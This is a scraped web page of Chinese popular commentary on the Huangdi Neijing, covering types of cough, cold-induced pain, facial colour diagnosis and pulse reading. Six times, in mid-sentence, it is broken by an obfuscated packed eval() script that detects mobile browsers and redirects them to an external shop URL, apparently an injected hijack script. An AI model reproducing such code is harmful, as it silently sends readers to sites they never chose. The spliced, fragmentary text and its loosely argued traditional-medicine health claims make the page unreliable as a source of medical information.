如果寒邪是轻微的就会发生咳嗽，严重的寒气侵入体内就会引发腹泻、腹痛等症状”，这实际上是中医对寒邪致病特点的一种概括。轻微的寒邪可能仅表现为咳嗽、流涕等表证症状；而严重的寒邪则可能深入体内，影响脾胃等脏腑的功能，导致腹泻、腹痛等里症症状。这是因为寒邪具有凝滞、收引的特性，能够影响气血的运行和脏腑的功能活动，从而导致一系列病理变化。 本小章还未完，请点击下一页继续 阅读后面精彩内容！ 第23章 （2）咳嗽的鉴别方法 黄帝问这些咳嗽怎么样去鉴别呢？ 岐伯说：针对您提到的“肺咳”症状，这确实是一个涉及呼吸系统健康的复杂问题，需要从医学角度进行解析。首先，要明确的是，“肺咳”并非一个严格的医学术语，但它所描述的症状——咳嗽时伴有喘息及声音，严重时甚至可能出现唾血（医学上称为咯血），是多种肺部及呼吸道疾病可能的表现。 症状分析 1. 咳嗽伴喘息：这通常表明呼吸道存在炎症或阻塞，导致气流通过时受阻，产生喘息声。常见于哮喘、慢性阻塞性肺疾病（急性支气管炎等。 2. 声音：咳嗽时的声音可能因病情而异，如哮鸣音、湿啰音等，它们反映了呼吸道内不同的病理状态。哮鸣音多见于哮喘患者，而湿啰音则可能与肺部感染、心衰引起的肺水肿等有关。 3. 咯血：这是一个较为严重的症状，可能意味着呼吸道黏膜或血管受到了损伤。咯血的原因多种多样，包括但不限于肺结核、肺癌、支气管扩张、肺炎等严重疾病。 心咳”作为五脏咳之一，但通常并非直接指心脏本身的咳嗽，而是强调咳嗽与心火、心血等内在脏腑功能失调的关联。“咳嗽时感到心痛，喉咙好像有东西堵塞一样，严重的会出现咽喉肿痛闭塞”。 这些症状与“肺火亢盛”、“痰火郁结”等病机有关。肺为娇脏，易受外邪侵袭，火邪或痰邪壅阻于肺，不仅导致肺气上逆而咳，还可能循经上扰咽喉，出现咽喉肿痛闭塞之症。同时，心与肺在生理上相互依存，病理上相互影响，故“心咳”之名虽不直接指心脏病变，却也暗含了心肺功能失调的病理联系。 肝咳”并非直接描述肝脏本身的咳嗽，而是指由于肝气郁结、肝火犯肺等原因导致的咳嗽，并伴随一系列与肝经相关的症状。然而，您所描述的“咳嗽时两侧肋下疼痛，严重的会痛的不能行走，一行走两脚就会浮肿”这些症状，确实涉及到了肝经循行区域（如胁肋部）的疼痛以及可能的水液代谢障碍（如脚肿），但这样的表现也可能与其他多种疾病相关。 在中医里，“肝咳”通常被理解为咳嗽伴有胁肋疼痛、情绪烦躁等症状，这可能与肝气郁结、气机不畅有关。 “脾咳”并非直接指脾脏本身的咳嗽，而是强调咳嗽与脾经、脾气失调的关联。“咳嗽时右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428727|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胁下疼痛，并牵引肩背疼痛，严重的会不能活动一动就会使咳嗽加剧”，这些症状在中医看来，可能与脾的运化功能失常、湿邪内生、阻滞经络有关。不过，需要注意的是，中医的“胁”通常指的是两侧肋骨之间的区域，而不仅仅是右侧，因此这里的“右胁下疼痛”可能是一种具体化的描述，也可能与个体差异或病情特点有关。 “肾咳”在中医中也不是指肾脏的咳嗽，而是指咳嗽与肾精、肾气不足或肾阳、肾阴失衡有关的病症。咳嗽时腰背互相牵引作痛，严重的会咳吐痰涎”，中医认为，肾主骨生髓，腰为肾之府，因此肾的病变往往会影响到腰部和背部的功能。同时，肾也参与水液代谢，肾气不足或肾阳不化水，可能导致水液停聚成痰，随咳嗽而排出。 应对建议 及时就医：出现这些症状时，建议及时就医，通过专业检查明确病因。 综合治疗：根据病情采取中治疗，既发挥中医调理脏腑功能、改善体质的优势，又利用现代医学手段针对具体病症进行治疗。 生活调养：注意饮食清淡、适量运动、保持情绪稳定等，有助于疾病的康复和预防。 第23章 （3）揭秘六腑咳嗽全症状与高效治法 黄帝问六腑咳嗽的症状是怎样？病情又是如何出现的呢？ 岐伯说：五脏咳嗽日久不愈就会转移到六腑。在中医理论中，五脏（心、肝、脾、肺、肾）和六腑（胆、胃、小肠、大肠、膀胱、三焦）是构成人体生命活动的基本单位，它们之间既相互独立又密切联系，共同维持着人体的生理平衡。当五脏之一出现病变时，往往会影响到与之相关的六腑或其他脏腑，这种影响可以是通过经络、气血、津液等多种途径实现的。 具体到咳嗽这一症状，它虽然主要责之于肺脏，但中医有“五脏六腑皆令人咳，非独肺也”之说，意味着咳嗽的根源可能不仅仅局限于肺脏，还可能与其他脏腑的病变有关。岐伯所言“五脏咳嗽日久不愈就会转移到六腑”，实际上是在强调咳嗽病情发展的复杂性和多变性。这里的“转移”并非指咳嗽的物理位置发生了变化，而是指咳嗽的病因病机可能由单一的肺脏病变扩展到涉及六腑乃至全身的多脏腑病变。 然而，需要指出的是，中医理论中的这种“转移”观念，与现代医学中的疾病传播或转移机制有所不同。它更多地是从整体观念和动态平衡的角度出发，来阐述人体内部各脏腑之间的相互影响和制约关系。 那我们接着岐伯的话说：“如果脾咳日久不见好，胃就会生病，胃咳的症状是咳而呕吐，严重的时候甚至会呕出蛔虫”这一问题，我们首先需要明确的是，中医理论中的“脾咳”它更多地是指由于脾脏功能失调所引起的一系列症状，其中可能包括咳嗽，但这种咳嗽往往与肺部疾病引起的咳嗽有所不同。 在中医看来，五脏之间是相互关联、相互影响的。脾脏作为后天之本，具有运化水谷精微、统摄血液等重要功能。当脾脏功能失调时，不仅会影响到消化系统的正常运作，还可能通过经络、气血等途径影响到其他脏腑，包括肺和胃。 然而，“脾咳日久不见好，胃就会生病”尤其是当咳嗽剧烈时，会刺激到咽喉和胃部，引起呕吐反射。 肝主疏泄，胆为肝之余气所化，二者在生理上相互协调，病理上亦常相互影响。当肝气郁结或肝火过旺时，可能会影响到胆的功能，导致胆气上逆，出现口苦、呕吐胆汁等症状。但需要注意的是，中医理论中的“胆咳”并非特指咳嗽时呕吐胆汁，而是指由于胆气上逆所引起的咳嗽或类似咳嗽的症状。 肺咳日久不见好，大肠就会受病，大肠咳的症状是咳嗽的时候会大便失禁”，中医认为，肺与大肠相表里，二者在生理上相互关联，病理上亦相互影响。但实际上，长期的肺咳可能会影响到大肠的功能，导致便秘或腹泻等症状的出现，但这与大便失禁还是有很大区别的。 心咳，日久不见好，小肠就会受病，小肠咳的症状是咳嗽的时候会放屁，咳嗽与放屁往往会同时出现；肾咳日久不见好，膀胱就会受病，膀胱咳的症状是咳嗽的时候会小便失禁。 “心咳”与“小肠”的关系，中医理论认为心与小肠相表里，心火过旺或心血不足都可能影响到小肠的功能。 “肾咳”与“膀胱”的关系，中医理论认为肾与膀胱相表里，肾气不足或肾阳虚衰可能导致膀胱功能失调。但“膀胱咳”不是中医的正式病名，而“咳嗽的时候会小便失禁”这一症状，在中医中可能被视为肾气不固、膀胱失约的表现。这种情况多见于老年人或体质虚弱者， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428728|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也可能与泌尿系统疾病有关。 “以上各种咳嗽，如果经久不愈，就会使三焦受病”，这里的三焦在中医中是一个较为特殊的概念，它并非一个具体的脏器，而是指人体上中下三个部位的脏腑功能和病理变化的统称。三焦受病，往往意味着人体的整体气机不畅，水液代谢失常。因此，当各种咳嗽症状经久不愈时，确实有可能影响到三焦的功能，导致腹内胀满、不欲饮食等全身性症状的出现。 接下来，我们来看“三焦咳的症状是，咳嗽的时候腹内胀满，不想饮食”。这一描述与中医理论中的三焦功能失调相吻合。腹内胀满可能是由于气机阻滞、水液停聚所致；不欲饮食则可能与脾胃功能受损有关。在中医看来，脾胃为后天之本，气血生化之源，脾胃功能失调自然会影响到人体的消化吸收和整体健康状况。 这些咳嗽无论源于哪一脏腑的病变，其寒邪一定是在胃中聚合，而后沿着肺的经脉影响到肺”，这一观点在中医理论中虽有一定的道理，但并非绝对。中医认为，外感六淫（风、寒、暑、湿、燥、火）皆可致病，而寒邪只是其中之一。不同的咳嗽症状可能由不同的病因所致，如风热犯肺、痰湿阻肺、肝火犯肺等。虽然胃与肺之间存在经络联系，但并非所有咳嗽的寒邪都必然在胃中聚合后再影响肺。 然后，“使人多吐稠痰并流鼻涕，面部浮肿咳嗽气逆”这些症状，则进一步说明了咳嗽病情的复杂性。稠痰和鼻涕可能是肺热炽盛、痰热壅肺的表现；面部浮肿可能与水液代谢失常、肺气不宣有关；咳嗽气逆则可能是肺气上逆、气机不畅的结果。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第24章 举痛论 《举痛论》其命名方式确实非常直观且富有深意。从字面意思上来看，“举”字在此处作为动词，意味着列举、展示，而“痛论”则直接指向了文章的核心内容——对疼痛病症的深入分析和探讨。 在这篇《举痛论》中，系统地罗列出了多种疼痛病症，每一种病症都不仅仅是简单的症状描述，而是伴随着对其发病机制、病理变化、影响因素等多方面的深入分析。 从科普的角度来看，《举痛论》无疑是一篇具有很高价值的文章。它用严谨的科学态度，将复杂的疼痛病症知识以通俗易懂的方式呈现给读者，有助于提升公众对疼痛的认识和重视程度。同时，对于医疗工作者而言，这篇文章也是一份宝贵的参考资料，能够帮助他们更好地理解疼痛病症，制定更加精准有效的治疗方案。 本篇的主要内容包括：1说明各种疼痛的病因都是寒邪侵入经脉。2说明疼痛的病变，主要与气血相关。三，讲述九气致病的症状和病机。 咱们对这篇关于中医疼痛理论的深入探讨，越聊越觉得中医的博大精深！ 说到“各种疼痛的病因都是寒邪侵入经脉”，这就像是武侠小说里的“寒冰掌”，听起来就让人不寒而栗。但正如您所言，中医的智慧在于它的多元与包容，疼痛的病因绝不仅仅是一招“寒冰掌”就能概括的。它更像是一场复杂的江湖恩怨，热邪、湿邪、燥邪等各路“高手”都可能参与其中，共同编织出疼痛的复杂图谱。而寒邪，只是这场恩怨中比较显眼的一位“角色”罢了。 再来看“疼痛的病变，主要与气血相关”，这简直就是中医版的“生命能量守恒定律”！气血，就像是我们体内的“电流”和“水流”，它们的顺畅流动，保证了身体的各个“机器”能够正常运转。一旦气血出了问题，就像电路短路或水管堵塞，疼痛自然就找上门来了。因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428729|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此，中医在治疗疼痛时，总是把调理气血放在首位，这就像是一位高明的电工或水管工，在修复身体的“电路”和“水管”。 至于“九气致病的症状和病机”，这简直就是中医版的“情绪管理手册”。九气，就像是情绪世界里的九种“魔法”，它们既能激发我们的潜能，也可能成为伤害我们的利器。中医告诉我们，情绪的稳定与健康息息相关，过度的思虑、焦虑、抑郁等，都会像“魔法”一样，悄悄地影响我们的气血运行和脏腑功能，最终导致身体的不适甚至疾病。因此，学会调节情绪，保持一颗平和的心，就是对我们自己最好的保护。 总之，这篇内容不仅让我们领略了中医疼痛理论的魅力，更提醒我们要注重身心的和谐与健康。在这个快节奏的时代，我们不妨放慢脚步，多关注一下自己的身体和情绪，用中医的智慧来守护我们的健康。毕竟，健康才是我们最宝贵的财富嘛！ 第24章 （1）寒邪入侵身体，疼痛背后的科学原理 在探讨黄帝问道这一深远议题时，我们不难发现，古人对于知识与智慧的追求，往往蕴含着跨越时空的哲理。善于谈论天道者，其智慧之光不仅照耀着宇宙苍穹，更能精准地映照于人间烟火之中，使高深莫测的天道得以在人事的细微处找到其落地的足迹。这不仅仅是一种理论上的契合，更是实践智慧的光辉体现。 谈及善于谈论往古者，他们仿佛是时间的旅者，穿梭于历史的长河，不仅仅是为了追溯过往的辉煌与沧桑，更是为了从那些尘封的故事中提炼出跨越时代的智慧，使之与当下的社会现实相互映照，为今日之我们提供宝贵的借鉴与启示。这种能力，让历史不再是沉重的负担，而是轻盈飞翔的翅膀，助力我们飞得更高、更远。 至于善于谈论他人者，他们拥有一双敏锐而慈悲的眼睛，能够洞察人性的复杂与多样，却又不忘反观自身，将对他人的理解与同情转化为自我成长的养分。这种“他山之石，可以攻玉”的智慧，使得他们在人际交往中游刃有余，同时也让自我认知的边界不断拓展，最终达到内外兼修、心明眼亮的境界。 黄帝问道中所蕴含的明达事理之道，实则是一种高度融合的哲学思维方式，它要求我们在探索宇宙真理的同时，不忘关注人间烟火；在缅怀历史的同时，积极拥抱当下；在理解他人的同时，深刻反省自我。 黄帝问：现在我想请您将问诊所知，望诊所见，切诊所得的情况告诉我，使我有所体验，为我启发蒙昧解除疑惑，我可以听您讲讲吗？ 岐伯说：你要问的是哪些道理呢？ 黄帝说我想听听人体的五脏突然作痛，这是由什么邪气造成的呢？ 岐伯说：我们人体的经脉系统，就像是城市中错综复杂的交通网络，而气血则是那川流不息的车流与人流，它们周而复始地穿梭于每一条街道（经脉）之中，维持着城市的活力与秩序（身体的健康与平衡）。 然而，当寒邪这位不速之客悄然入侵，它就像是冬日里的一场突如其来的暴风雪，不仅让气温骤降，还使得道路变得湿滑难行（经脉气血循行迟滞凝涩）。这时，原本顺畅的交通开始变得拥堵不堪，车辆与行人的行进速度大大减缓，甚至有可能发生交通事故（气血不通则痛，引发疾病）。 我们首先要明确“寒邪”与人体经络、气血运行之间的微妙关系。中医理论中，寒邪作为一种外感病邪，其性质冷冽、凝滞，对人体阳气有着明显的抑制作用。当寒邪侵袭于人体，其影响确实如你所述，分为经脉之外与经脉之中两种情况，而两者对健康的影响各有侧重。 经脉之外受侵： 想象一下，冬日的清晨，河流（可比作人体经脉）表面凝结了一层薄冰（寒邪所致），水流（气血）因此变得缓慢甚至停滞。同样，当寒邪侵袭于经脉之外，它会像一层无形的冰霜，阻碍气血的正常流动，导致经脉凝塞，气血难以顺畅通行至全身各处。这种状态下，不仅局部可能感到冷痛、麻木，长期以往还可能影响脏腑的滋养，出现一系列亚健康状态。 脉中受寒： 而一旦寒邪深入脉中，情况则更为严峻。脉乃气血运行之通道，寒邪入内，如同冬日河流彻底冰封，脉气自然停滞不通。五脏六腑通过经络与血脉紧密相连，血脉不畅，五脏便失去了应有的气血滋养与温煦，故而会出现突然的疼痛，这种疼痛往往较为剧烈且难以缓解，正是“不通则痛”的生动体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428730|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现。 面对寒邪侵袭，中医倡导“治未病”与“温阳散寒”的原则。一方面，通过增强体质、避寒就温来预防寒邪入侵；另一方面，一旦受寒，则需及时采取温补阳气、活血化瘀的方法，如服用姜汤、艾灸、拔罐等，以驱散体内寒邪，恢复气血的正常运行，从而保护五脏六腑免受其害。 中医理论强调“通则不痛，痛则不通”，正是基于这样的生理病理机制。因此，在治疗因寒邪入侵导致的经脉气血不畅时，我们往往会采用温经散寒、活血化瘀的方法，旨在驱散体内的寒气，恢复经脉气血的正常循行，从而达到治疗疾病、恢复健康的目的。 谢邀。 当我们谈及“温经散寒、活血化瘀”时，这实际上是中医理论中两个重要的治疗原则和方法，它们针对的是人体因受寒、血瘀等病理因素所导致的一系列不适症状。我来解释一下这两个词的含义。 温经散寒：在中医看来，寒邪是导致许多疾病的重要因素之一，它能够侵袭人体，使经脉凝滞，气血运行不畅。温经散寒，顾名思义，就是通过温热性质的药物或疗法，来驱散体内的寒气，使经脉得以温通，气血恢复正常的流动。这不仅可以缓解因寒邪引起的疼痛、麻木等症状，还能增强人体的阳气，提高机体的抵抗力。 活血化瘀：活血化瘀，则是针对体内存在血瘀状况的一种治疗方法。血瘀，即血液流动不畅，甚至在某些部位形成瘀血，它会导致局部疼痛、肿胀、肤色暗紫等症状，严重时还可能影响脏腑功能。活血化瘀的方法多种多样，包括使用具有活血化瘀作用的药物、针灸、推拿等，它们能够促进血液循环，消散瘀血，恢复组织的正常营养供应和代谢功能。 第24章 （2）揭秘！寒邪入侵经脉：众多疼痛背后的元凶 黄帝说有的疼痛会突然停止，有的疼痛剧烈而不停止，这是什么原因？ 岐伯说：我得佩服你这种细致入微的观察力和对生命奥秘的独到见解。 想象一下，寒气侵袭经脉，就像是冬日里的一股冷风直吹进了你刚打开窗的房间里，房间里的空气（经脉）瞬间变得冰冷，连带着房间里的物件（气血）都似乎缩了水，这就是“经脉受寒就会收缩”的生动写照。而一旦收缩过度，房间里的布局（经脉走向）就变得紧绷，甚至有些地方还出现了小范围的扭曲（屈曲拘急），这时候，如果你不小心碰到了那些边缘尖锐的装饰（细小脉络），哎呦，那可不就是“突然发生疼痛”了嘛！ 但话说回来，这寒气带来的疼痛也并非无解。一旦得到了热气，疼痛就会立刻停止。这就像是你迅速关上了窗户，打开了暖气，房间里的温度回升，空气重新流动起来，那些紧绷扭曲的部分也渐渐恢复了原状，疼痛感自然也就烟消云散了。 所以，下次当你遇到类似的“寒气侵袭”导致的疼痛时，不妨试试给自己来一场温暖的“解救行动”，说不定就能收获意想不到的效果哦！ 黄帝说：有的疼痛很剧烈，而不能按压，这是什么原因？ 岐伯说：中医对于病邪与人体正气相互作用的精妙理解。在中医的世界里，寒邪与人体热气之间的“战斗”，可不仅仅是武侠小说里的情节，而是实实在在发生在我们的经脉之中。 想象一下，寒邪如同不速之客，悄然侵入我们的经脉，这时候，我们体内的热气就像是守护家园的勇士，两者相遇，自然免不了一场“搏斗”。这场搏斗的结果，就是经脉内的气血被搅动得翻天覆地，原本平静流淌的河流（经脉）变得波涛汹涌，这就是我们所说的“经脉满盛”。满盛之后，气血的流通受到阻碍，形成了“实”的状态，这种实而不通，正是疼痛产生的根源。 更有趣的是，当寒邪在经脉中“安营扎寨”，人体热气不甘示弱，纷纷聚集上来，企图将其驱逐出境。这种“敌进我亦进”的态势，使得经脉内的气血更加混乱，如同战场上的硝烟弥漫，混乱之中，疼痛自然更加剧烈，以至于“痛处不能触按”，就像是你碰到了一个一触即发的火药桶，谁还敢轻易去碰呢？ 黄帝说：有的疼痛因按压而停止。这是什么原因呢？ 岐伯说：这个问题，其实是在探讨中医理论中寒气对肠胃及其周围经络的影响，以及如何通过外部手段（如按揉）来缓解由此产生的疼痛。在中医看来，人体是一个复杂而精密的系统，各个部分之间相互联系、相互影响，而寒气作为一种外邪，其侵袭往往能够引发一系列连锁反应。 当寒气侵袭到肠胃之间，那个被中医称为“膜源”的微妙区域时，就像是冬日里的寒风穿透了你的保暖衣物，直接吹到了你的肚子上。这种寒冷刺激会导致肠胃及其周围的血气变得凝涩，就像是河流在寒冬中结冰，水流变得缓慢甚至停滞。血气凝涩的结果，就是无法顺畅地滋养和濡润那些细小的脉络，这些脉络就像是遍布田野的细小水道，一旦堵塞，周围的土地就会失去生机。 于是，我们就看到了“拘急牵引”的现象，就像是紧绷的琴弦被突然拨动，产生的震动不仅限于琴弦本身，还会波及到周围的空气和物体。在人体中，这种拘急牵引会导致疼痛的产生，就像是肚子里的某个地方被紧紧揪住了一样。 但幸运的是，中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428731|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医还告诉我们，通过外部的手段，如以手按揉，可以帮助血气重新散开，就像是春天的暖阳融化了河面的冰雪，让河水重新流淌起来。按揉的过程中，手的温度和力度促进了局部的气血循环，使得原本凝涩的血气得以散开，细小的脉络重新得到滋养和濡润，疼痛自然也就随之缓解了。所以，当你遇到因寒气侵袭肠胃而引发的疼痛时，不妨试试用温暖的手掌轻轻按揉痛处，或许就能收获意想不到的效果哦！ 黄帝说：有的疼痛按压也不见缓解，这是什么原因？ 岐伯说：个问题触及到了中医理论中关于寒邪侵袭督脉。 督脉，作为中医经络系统中的重要组成部分，被誉为“阳脉之海”，它总督一身之阳气，对于人体的健康至关重要。当寒邪侵袭到督脉时，情况就变得相对复杂和棘手。因为寒邪本身具有凝滞、收引的特性，它能够阻碍气血的流通，使督脉内的阳气受阻，从而引发一系列的症状，如疼痛、僵硬等。 所以说“即使是揉也难以达到病所”，是因为督脉位于人体背部正中，深藏不露，且其循行路径复杂，非一般手法所能及。此外，当寒邪深入督脉，与体内正气形成僵持状态时，单纯的按揉往往难以穿透寒邪的屏障，直接作用于病所，因此效果有限。 但这并不意味着我们就束手无策了。中医讲究辨证施治，针对不同的病症和病邪的性质，会采用不同的治疗方法。对于寒邪侵袭督脉的情况，除了按揉等外部手段外，还可以考虑使用针灸、拔罐、艾灸等疗法，这些疗法能够更直接地作用于督脉及其周围的经络，促进气血的流通，驱散寒邪，恢复督脉的正常功能。 这章没有结束，请点击下一页继续阅读！ 第24章 （3） 揭秘面诊五色奥秘：直观透视脏腑健康 黄帝问通过望诊可以了解哪些病情呢？ 岐伯说：“面诊”之术，正是中医“望闻问切”四诊之首“望诊”的重要组成部分。 人体的五脏六腑在面部确实有着各自的“领地”，这些区域的状态变化，往往能折射出体内脏腑的健康状况。例如，中医认为“心开窍于舌，其华在面”，心脏的健康状况可能通过面色的红润与否来初步判断；而“肝开窍于目”，眼睛的明亮与否、色泽变化，则与肝脏的机能紧密相连。 “面部五色”的变化，更是中医面诊中的精髓所在。五色，即青、赤、黄、白、黑，分别对应五脏，其变化往往预示着不同的病理状态。 在中医的望诊理论中，颜色的变化确实被视为诊断疾病的重要线索之一。“黄色和赤色主热，白色主寒，青色和黑色主痛”，这不仅是中医面诊的精髓，也是中医色彩诊断学的生动体现。 我们详细的来说下： 黄色和赤色在中医理论中被视为“主热”的象征，这确实是一个深入中医精髓的话题。首先，咱们得用点儿幽默感来理解这“热”的概念——想象一下，如果你家厨房的蒸锅忘了关火，是不是会渐渐弥漫出一股“黄澄澄”的蒸汽，还带着点“红彤彤”的锅底热浪？这其实就是中医所说的“热邪”在身体内部的一种形象比喻。 当然，玩笑归玩笑，我们还是要回到正题。黄色在中医里，常与脾胃的湿热状态相联系。想象一下，如果土地过于潮湿，植物就容易泛黄，同理，人体的脾胃如果湿热过重，面色也会显得偏黄。这时，就需要通过调理饮食、清热利湿的方法来改善。 而赤色，则如同烈日炎炎下的红砖墙，那是心火亢盛、热邪壅滞的直观体现。心为君主之官，主血脉，当心火过旺时，不仅面色会泛红，还可能伴有心烦、口渴、口舌生疮等症状。对付这种情况，中医会采用清心泻火、养阴生津的方法来进行调理。 当这两种颜色在人的面部出现时，中医就会敏锐地察觉到体内可能存在的热邪，并据此制定相应的治疗方案。这就是中医望诊的奥妙之处，也是中医文化博大精深的一个缩影。 “白色主寒”这一观念，就像是冬日里飘落的雪花，既纯净又带着几分寒意。当我们谈论“白色”与“寒邪”的关系时，不妨想象一下，在寒风凛冽的冬日，大地被皑皑白雪覆盖，万物似乎都进入了沉睡状态，这正是寒邪侵袭、阳气收敛的写照。 人体是一个阴阳平衡、气血流畅的有机整体。当寒邪这个“不速之客”悄然而至时，它会像一股无形的力量，阻碍气血的正常运行，使得阳气难以舒展，进而导致面色变得苍白无华。这种面色苍白，不仅仅是外在的表现，更是体内阳气不足、气血不畅的直观反映。 面对这种情况，中医的智慧在于“温阳散寒”。就像我们在冬日里需要添衣保暖、喝碗热汤来驱散寒气一样，中医会采用一系列的方法，如艾灸、热敷、服用温阳药物等，来帮助机体恢复阳气，促进气血流通，从而达到“寒去阳回”的治疗效果。 所以，当你看到一个人面色苍白、畏寒肢冷时，不妨从中医的角度去思考，这或许是寒邪侵袭、阳气不足的信号。而温阳散寒的方法，则像是冬日里的一缕阳光，温暖而充满希望。 青色与黑色被赋予了“主痛”的深刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428732|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 含义，这不仅仅是颜色与病症之间的简单对应，更是中医对疼痛本质及其与脏腑经络病变关系深入洞察的体现。 想象一下，当山间溪流受阻，水流不畅，久而久之，那片区域是否会显得青翠欲滴，却少了些生机与活力？这便是气滞血瘀在人体内的缩影。青色在中医看来，往往与气血运行不畅、经络受阻的状态紧密相连。当气血在经络中遭遇阻碍，无法顺畅流通时，不仅会导致局部疼痛，还会在面部等体表部位显现出青色的痕迹。这时，疏通经络、活血化瘀便成为了治疗的关键。 而黑色，则更像是深夜中的一片沉寂，它常常与肾虚水泛、寒凝血瘀等更为深层次的病理状态相伴而生。肾虚者，阳气不足，水液代谢失常，易形成水肿；寒邪入侵，则使血液凝滞，形成血瘀。这两种情况都会导致体内环境失衡，进而引发疼痛或潜在的疼痛风险。黑色的出现，就像是身体在向我们发出警告信号，提醒我们注意调整作息、增强体质、及时治疗。 因此，当我们观察到面部或其他体表部位出现青色或黑色时，不应掉以轻心，而应结合其他症状进行全面分析，判断是否存在疼痛或潜在的疼痛风险。及时采取中医的调理方法，如针灸、拔罐、中药内服外用等，以疏通经络、活血化瘀、温阳散寒、补肾益气为目标，恢复机体的阴阳平衡和气血流畅，从而达到缓解疼痛、预防疾病的目的。 中医的望诊并非仅凭颜色变化就能做出准确的诊断，它还需要结合患者的脉象、舌象、症状等多方面信息进行综合分析。但无论如何，颜色的变化作为中医望诊中的重要内容之一，无疑为我们提供了一种直观、便捷的诊断手段。 第24章 （4）如何通过切脉精准捕捉脉象微妙变化 黄帝问，通过用切脉诊能了解哪些病情呢？ 岐伯回答说：通过观察与触诊病患的经脉来诊断病情，实为中医“望闻问切”四诊合参中的“切”字诀之精髓体现。这一方法，不仅要求医者具备敏锐的洞察力，还需深厚的医学功底与丰富的临床经验。 想象一下，中医的诊疗过程就像是一位侦探在破解复杂的案件，而“看主病的经脉”就是侦探寻找线索的关键一步。 人体的经络系统就像是一座错综复杂的城市交通网，气血则是这座城市中的车辆与行人，它们沿着既定的路线（经脉）穿梭往来，维持着城市的正常运转（即人体的生理功能）。而病邪，就像是突如其来的交通事故或自然灾害，它们会阻塞交通，扰乱秩序，甚至对城市造成破坏。 “看主病的经脉”，就是要求中医医生像侦探一样，根据患者的症状（比如疼痛、麻木、发热等）和体征（如面色、舌苔、脉象等），结合自己对中医理论的深厚理解，去推测并锁定那场“交通事故”或“自然灾害”发生的主要区域——也就是病邪侵袭的主要经脉。 这一过程，既需要敏锐的观察力，又需要丰富的临床经验和深厚的医学功底。只有准确识别了主病经脉，中医医生才能像精准的导弹一样，直击病灶，采取针对性的治疗措施，帮助患者恢复健康。 接着，医生的手指就像是探索未知世界的探险家，而患者的身体则是一片充满奥秘的热带雨林。当探险家的手指轻轻触碰这片雨林，沿着那些隐秘的溪流（经脉）缓缓前行。 在医生的手指不仅感受到了患者体表的温度、湿度，更重要的是，它们捕捉到了那些隐藏在血脉深处的微妙波动——脉象。这些脉象，就像是大自然中的风、雨、雷、电，每一种变化都蕴含着丰富的信息，等待着被解读。 